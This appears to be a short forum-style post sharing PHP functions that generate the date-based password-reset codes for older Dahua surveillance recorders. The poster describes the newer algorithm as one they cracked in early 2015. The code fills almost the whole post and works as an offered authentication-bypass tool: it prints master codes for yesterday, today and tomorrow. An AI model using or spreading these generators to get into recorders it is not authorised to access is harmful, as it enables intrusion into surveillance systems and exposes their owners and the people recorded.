Here are a couple of the older Dahua password reset algorithms implemented in PHP. The newer one should be for models made in 2014-2016, I cracked it back in early 2015:
// Generates password resets for newer
// Dahua systems
function PSGEN($year,$month,$day,$offset){
$root_year = 15;
$root_month = 1;
$root_day = 1;
$root_ps = 100143772;
$year_diff_calc = ($year-$root_year)*-280000;
$month_diff_calc = $root_ps-(($month-$root_month)*342800);
$day_diff_calc = 100000000-((($day+$offset)-$root_day)*313428);
$ps = substr($month_diff_calc+$day_diff_calc+$year_diff_calc,-6);
return $ps;
}
// Newer Dahua Password Reset
function new_dahua_password_reset(){
return "<br>For " . date("F jS, Y",time() - 60 * 60 * 24) . ": <b>" . $this->PSGEN(date("y"),date("m"),date("d"),-1) . "</b><br>" .
"For " . date("F jS, Y") . ": <b>" . $this->PSGEN(date("y"),date("m"),date("d"),0) . "</b><br>" .
"For " . date("F jS, Y",time() + 60 * 60 * 24) . ": <b>" . $this->PSGEN(date("y"),date("m"),date("d"),1) . "</b>";
}
// Older Dahua Password Reset
function old_dahua_password_reset(){
return "<br>For " . date("F jS, Y",time() - 60 * 60 * 24) . ": <b>" . substr(date("y")*date("m")*(date("d")-1)*8888,-6) . "</b><br>" .
"For " . date("F jS, Y") . ": <b>" . substr(date("y")*date("m")*date("d")*8888,-6) . "</b><br>" .
"For " . date("F jS, Y",time() + 60 * 60 * 24) . ": <b>" . substr(date("y")*date("m")*(date("d")+1)*8888,-6) . "</b>";
}